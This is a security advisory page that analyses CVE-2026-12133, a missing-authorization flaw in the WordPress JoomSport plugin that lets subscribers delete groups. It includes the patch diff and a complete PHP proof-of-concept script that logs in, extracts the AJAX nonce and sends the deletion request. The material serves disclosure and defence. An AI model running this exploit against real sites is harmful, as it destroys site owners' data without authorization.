Published : July 4, 2026

CVE-2026-12133: JoomSport <= 5.7.8 Authenticated (Subscriber+) Missing Authorization to Arbitrary Group Deletion via season_groupdel AJAX action PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 5.7.8
Patched Version 5.7.9
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12133:

This vulnerability allows authenticated attackers with Subscriber-level access to delete arbitrary JoomSport group records. The flaw exists in the joomsport_season_groupdel() AJAX handler within the JoomSport plugin for WordPress (versions up to and including 5.7.8). The CVSS score is 4.3 (Medium), reflecting the requirement for authenticated access but the potential to delete data without proper authorization.

The root cause is a missing capability check in the joomsport_season_groupdel() function, located in /includes/posts/joomsport-post-season.php at line 288. The function only performs a nonce verification (check_ajax_referer) before executing a DELETE SQL query using attacker-supplied group_id parameters. No authorization check, such as current_user_can(‘manage_options’), exists to verify that the requesting user has the required administrative privileges to delete groups. In the vulnerable version, other AJAX handlers in the same file (like joomsport_season_parentseas, joomsport_season_groupedit, joomsport_season_genermodal, joomsport_season_grouplist) similarly lacked checks but were patched alongside groupdel. The function uses $wpdb->query to execute a delete from table where id = intval($group_id) query, directly using the group_id parameter from $_POST[‘group_id’].

Exploitation requires an authenticated WordPress session (any role, including Subscriber). The attacker sends a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘joomsport_season_groupdel’, a valid nonce (which any logged-in user can obtain from the page HTML where JoomSport is loaded), and the target group_id parameter. The attacker can enumerate valid group IDs by also calling the joomsport_season_grouplist AJAX action (which was also missing a check in the vulnerable version). By supplying different group_id values, the attacker can delete any JoomSport group record without proper authorization.

The patch (version 5.7.9) adds a capability check before any AJAX action processing: if (!current_user_can(‘manage_options’)) { wp_die(‘-1’, 403); }. This line is inserted immediately before the existing nonce check in all vulnerable AJAX handlers within joomsport-post-season.php, as well as handlers in joomsport-post-match.php, joomsport-post-team.php, and joomsport-taxonomy-matchday.php. Before the patch, any authenticated user with a valid nonce could delete groups. After the patch, only users with the ‘manage_options’ capability (Administrator-level role) can perform these actions. This enforces the intended administrative privilege requirement.

If exploited, an attacker can delete JoomSport group records, which are fundamental organizational structures for teams, leagues, and seasons. This can disrupt the site’s sports data, cause loss of important configuration information, and potentially break front-end displays for sports-related content. The impact is primarily data integrity and availability, requiring administrative intervention to restore deleted records from backups. There is no direct privilege escalation or data exposure, but the unauthorized deletion of arbitrary groups can significantly impair the functionality of a JoomSport deployment.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/joomsport-sports-league-results-management/includes/joomsport-actions.php
+++ b/joomsport-sports-league-results-management/includes/joomsport-actions.php
@@ -1992,7 +1992,7 @@
                             . ' AND player_id = %d'
                             . ' AND team_id = %d';

-                        $wpdb->query($wpdb->prepare($query, array($dur - $kicks[$intK]->kickMin, intval($this->season_id), intval($kicks[$intK]->player_id), intval($kicks[$intK]->team_id))));
+                        $wpdb->query($wpdb->prepare($query, array($dur - intval($kicks[$intK]->kickMin), intval($this->season_id), intval($kicks[$intK]->player_id), intval($kicks[$intK]->team_id))));
                     }
                 }
             }
--- a/joomsport-sports-league-results-management/includes/joomsport-shortcodes.php
+++ b/joomsport-sports-league-results-management/includes/joomsport-shortcodes.php
@@ -302,6 +302,7 @@
         $options['limit'] = $args['quantity'];
         $options['group_id'] = $args['group_id'];
         $options['ordering'] = $eventid.' DESC';
+        $options['groupby'] = 1;
         $eventObj = new classJsportEvent($args['event']);
         $players = classJsportgetplayers::getPlayersFromTeam($options);
         if(count($players['list'])){
--- a/joomsport-sports-league-results-management/includes/joomsport-templates.php
+++ b/joomsport-sports-league-results-management/includes/joomsport-templates.php
@@ -43,7 +43,10 @@

     public static function joomsport_content($content){
         if($content) return $content;
-        if ( !in_the_loop() ) return $content;
+        //if ( !in_the_loop() ) return $content;
+        if (!is_singular() || !in_the_loop()) {
+            return $content;
+        }
         global $controllerSportLeague;
         remove_filter('has_post_thumbnail', "joomsport_filter_has_team_thumb");
         remove_filter('post_thumbnail_html', 'joomsport_filter_pt');
@@ -62,9 +65,24 @@
                 echo get_the_password_form();
                 return;
             }
+
+            $ob_level = ob_get_level();
+
             ob_start();
             $controllerSportLeague->execute();
-            return ob_get_clean();
+            $joomsport_content = ob_get_clean();
+
+            if (!empty($joomsport_content)) {
+
+                while (ob_get_level() > $ob_level) {
+                    ob_end_clean();
+                }
+
+                return $joomsport_content;
+            }
+
+
+

         }
         return $content;
--- a/joomsport-sports-league-results-management/includes/meta-boxes/joomsport-meta-match.php
+++ b/joomsport-sports-league-results-management/includes/meta-boxes/joomsport-meta-match.php
@@ -1044,6 +1044,16 @@
             $is_field = array_merge($is_field,$mstatuses);
         }

+        $season_id = get_post_meta($post->ID,'_joomsport_seasonid',true);
+
+        $sportID = JoomSportHelperObjects::getSportType($season_id);
+        $sportTemplClass = JoomSportHelperObjects::getSportTemplate($sportID);
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterMatchStatuses')){
+
+            $is_field = $sportTemplClass::filterMatchStatuses($is_field);
+        }
+
+
         $m_played = get_post_meta($post->ID,'_joomsport_match_played',true);
         $m_date = get_post_meta($post->ID,'_joomsport_match_date',true);
         $m_time = get_post_meta($post->ID,'_joomsport_match_time',true);
--- a/joomsport-sports-league-results-management/includes/posts/joomsport-post-match.php
+++ b/joomsport-sports-league-results-management/includes/posts/joomsport-post-match.php
@@ -119,6 +119,7 @@
     }

     public static function getSubEvents(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global $wpdb;

--- a/joomsport-sports-league-results-management/includes/posts/joomsport-post-season.php
+++ b/joomsport-sports-league-results-management/includes/posts/joomsport-post-season.php
@@ -217,6 +217,7 @@
         <?php
     }
     public static function joomsport_season_parentseas(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $terms_id = isset($_POST['tournament_id'])?intval($_POST['tournament_id']):0;
@@ -228,6 +229,7 @@
         wp_die();
     }
     public static function joomsport_season_groupedit(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global $wpdb;
         $group_id = isset($_POST['group_id'])?intval($_POST['group_id']):0;
@@ -243,6 +245,7 @@
         wp_die();
     }
     public static function joomsport_season_genermodal(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $group_id = isset($_POST['group_id'])?intval($_POST['group_id']):0;
@@ -251,6 +254,7 @@
         wp_die();
     }
     public static function joomsport_season_grouplist(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global  $wpdb;

@@ -288,6 +292,7 @@
         wp_die();
     }
     public static function joomsport_season_groupdel(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");
         global  $wpdb;

@@ -942,6 +947,7 @@
     }

     public static function joomsport_md_load(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $mdId = isset($_POST['mdId'])?intval($_POST['mdId']):0;
--- a/joomsport-sports-league-results-management/includes/posts/joomsport-post-team.php
+++ b/joomsport-sports-league-results-management/includes/posts/joomsport-post-team.php
@@ -145,6 +145,7 @@
         <?php
     }
     public static function joomsport_team_seasonrelated(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         check_ajax_referer("joomsportajaxnonce", "security");

         $season_id = isset($_POST['season_id'])?intval($_POST['season_id']):0;
--- a/joomsport-sports-league-results-management/includes/taxonomies/joomsport-taxonomy-matchday.php
+++ b/joomsport-sports-league-results-management/includes/taxonomies/joomsport-taxonomy-matchday.php
@@ -68,6 +68,7 @@
     }

     public static function joomsport_mday_savematch(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         if(isset($_POST['formdata'])){parse_str(sanitize_text_field(wp_unslash($_POST['formdata'])), $output);}
         if(isset($output["tag_ID"])){

@@ -78,6 +79,7 @@
         wp_die();
     }
     public static function joomsport_mday_saveknock(){
+        if (!current_user_can('manage_options')) { wp_die('-1', 403); }
         if(isset($_POST['formdata'])){parse_str(sanitize_text_field(wp_unslash($_POST['formdata'])), $output);}
         if(isset($output["tag_ID"]) && current_user_can('manage_options')){

--- a/joomsport-sports-league-results-management/joomsport.php
+++ b/joomsport-sports-league-results-management/joomsport.php
@@ -3,7 +3,7 @@
 Plugin Name: JoomSport
 Plugin URI: http://joomsport.com
 Description: Sport league plugin
-Version: 5.7.8
+Version: 5.7.9
 Author: BearDev
 Author URI: http://BearDev.com
 License: GPLv3
--- a/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php
+++ b/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php
@@ -146,7 +146,7 @@
                 $query .= (isset($player_id) && $player_id ? ' AND l.player_id = '.$player_id : '');
                 $query .= (isset($departed) && $departed!="" ? ' AND l.departed = '.intval($departed) : '');

-                if($stdoptions == 'std'){
+                if($stdoptions == 'std' || (isset($groupby) && $groupby)){
                     $query .= ' GROUP BY l.player_id';
                 }

@@ -173,7 +173,7 @@
                 }

                 $query_count .= (isset($player_id) && $player_id ? ' AND l.player_id = '.$player_id : '');
-                if($stdoptions == 'std'){
+                if($stdoptions == 'std' || (isset($groupby) && $groupby)){
                     $query_count .= ' GROUP BY l.player_id';
                 }
             }
--- a/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/extrafields/class-extrafield-date.php
+++ b/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/extrafields/class-extrafield-date.php
@@ -16,6 +16,8 @@
         }

         if($ef){
+            $efP = explode(" ", $ef);
+            $ef = $efP[0]??$ef;
             switch ($dateage) {
                 case '1':
                     return self::calcAge($ef);
--- a/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-match.php
+++ b/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-match.php
@@ -361,7 +361,7 @@
         }

         $term_list = get_the_terms($this->id, 'joomsport_matchday');
-        if(count($term_list)){
+        if($term_list && count($term_list)){
             return $term_list[0]->term_id;
         }
     }
--- a/joomsport-sports-league-results-management/sportleague/helpers/js-helper-tabs.php
+++ b/joomsport-sports-league-results-management/sportleague/helpers/js-helper-tabs.php
@@ -46,7 +46,7 @@

                     ?>
                 <li class="nav-item">
-                    <a data-toggle="tab" href="#<?php echo esc_attr($tabs[$intA]['id']);?>" class="navlink<?php echo (($intA == 0 && !$jscurtab) || ($jscurtab == '#'.$tabs[$intA]['id'])) ? ' active' : ''; ?>">
+                    <a data-toggle="tab" href="#<?php echo esc_attr($tabs[$intA]['id']);?>" class="navlink<?php echo (($intA == 0 && !$jscurtab) || ($jscurtab == '#'.$tabs[$intA]['id'])) ? ' active' : ''; ?>" data-target="#<?php echo $tabs[$intA]['id'];?>">
                         <i class="<?php echo esc_attr($tab_ico);?>" <?php if($tab_icoImg){echo ' style="background:url('.wp_get_attachment_image_url($tab_icoImg,array(24,24),false).'")';}?>></i> <span><?php echo wp_kses_post($tabs[$intA]['title']);
                     ?></span></a></li>
               <?php
--- a/joomsport-sports-league-results-management/sportleague/helpers/js-helper.php
+++ b/joomsport-sports-league-results-management/sportleague/helpers/js-helper.php
@@ -248,7 +248,16 @@
         }
         $m_played = get_post_meta( $match->id, '_joomsport_match_played', true );

-        if (in_array($m_played,array(-1,1))) {
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterHomeScore')){
+            $args = array("match"=>$match,"home_score"=>$home_score);
+            $home_score = $sportTemplClass::filterHomeScore($args);
+        }
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterAwayScore')){
+            $args = array("match"=>$match,"away_score"=>$away_score);
+            $away_score = $sportTemplClass::filterAwayScore($args);
+        }
+
+        if (in_array($m_played,array(-1,1,-10,-11))) {
             $text = '';
             if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'getScoreFESmall')){
                 $args = array("match"=>$match,"home_score"=>$home_score,"away_score"=>$away_score);
@@ -304,9 +313,19 @@
             $home_score = get_post_meta( $match->id, '_joomsport_home_score', true );
             $away_score = get_post_meta( $match->id, '_joomsport_away_score', true );
         }
+        $sportID = JoomSportHelperObjects::getSportType($match->season_id);
+        $sportTemplClass = JoomSportHelperObjects::getSportTemplate($sportID);
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterHomeScore')){
+            $args = array("match"=>$match,"home_score"=>$home_score);
+            $home_score = $sportTemplClass::filterHomeScore($args);
+        }
+        if(class_exists($sportTemplClass) && method_exists($sportTemplClass,'filterAwayScore')){
+            $args = array("match"=>$match,"away_score"=>$away_score);
+            $away_score = $sportTemplClass::filterAwayScore($args);
+        }
         $m_played = get_post_meta( $match->id, '_joomsport_match_played', true );
         $jmscore = get_post_meta($match->id, '_joomsport_match_jmscore',true);
-        if (in_array($m_played,array(-1,1))) {
+        if (in_array($m_played,array(-1,1,-10,-11))) {
             $bonus1 = '';
             $bonus2 = '';
             $sep = JSCONF_SCORE_SEPARATOR;
--- a/joomsport-sports-league-results-management/sportleague/views/default/season.php
+++ b/joomsport-sports-league-results-management/sportleague/views/default/season.php
@@ -10,7 +10,7 @@

 $term_list = get_the_terms($rows->object->ID, 'joomsport_tournament');
 $descr = '';
-if(count($term_list)){
+if($term_list && count($term_list)){
     $descr = $term_list[0]->description;
 }
 ?>

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12133 - JoomSport <= 5.7.8 - Authenticated (Subscriber+) Missing Authorization to Arbitrary Group Deletion via season_groupdel AJAX action

$target_url = 'http://example.com'; // Change to the target WordPress URL
$username = 'subscriber_user'; // Valid WordPress Subscriber credentials
$password = 'subscriber_pass';

// Step 1: Authenticate to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

// Check if login succeeded by looking for admin bar or dashboard
if (strpos($response, 'wp-admin') === false && strpos($response, 'dashboard') === false) {
    die('Authentication failed. Check credentials or URL.');
}

echo "[*] Authenticated successfully as subscriber.n";

// Step 2: Fetch the admin page to get a valid AJAX nonce for JoomSport
// The nonce is often embedded in JavaScript or HTML of the JoomSport page
$admin_url = $target_url . '/wp-admin/admin.php?page=joomsport'; // Adjust if needed
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$response = curl_exec($ch);

// Extract nonce from JavaScript or HTML
// Look for 'joomsportajaxnonce' or similar pattern
preg_match('/joomsportajaxnonce":"([a-f0-9]+)"/i', $response, $matches);
if (!isset($matches[1])) {
    preg_match('/"ajax_nonce":"([a-f0-9]+)"/i', $response, $matches);
}
if (!isset($matches[1])) {
    // Fallback: try to get nonce from any JS variable
    preg_match('/vars+joomSportAjaxs*=s*[^;]+nonce":"([a-f0-9]+)"/i', $response, $matches);
}

if (!isset($matches[1])) {
    // If nonce extraction fails, we might need another method
    // For demonstration, we assume we can get the nonce; in real attack, use the displayed page
    $nonce = 'demo_nonce_placeholder';
    echo "[!] Could not extract nonce automatically. Using placeholder.n";
} else {
    $nonce = $matches[1];
    echo "[*] Extracted nonce: $noncen";
}

// Step 3: Send the AJAX request to delete a group
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$group_id_to_delete = 1; // Change to target group ID

$post_data = array(
    'action' => 'joomsport_season_groupdel',
    'security' => $nonce, // The nonce parameter name from the plugin (check_ajax_referer expects 'security')
    'group_id' => $group_id_to_delete
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPGET, false);
$response = curl_exec($ch);

if ($response === false) {
    die('cURL error: ' . curl_error($ch));
}

echo "[*] AJAX response: $responsen";
echo "[*] If no error and group_id $group_id_to_delete was valid, it has been deleted.n";

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.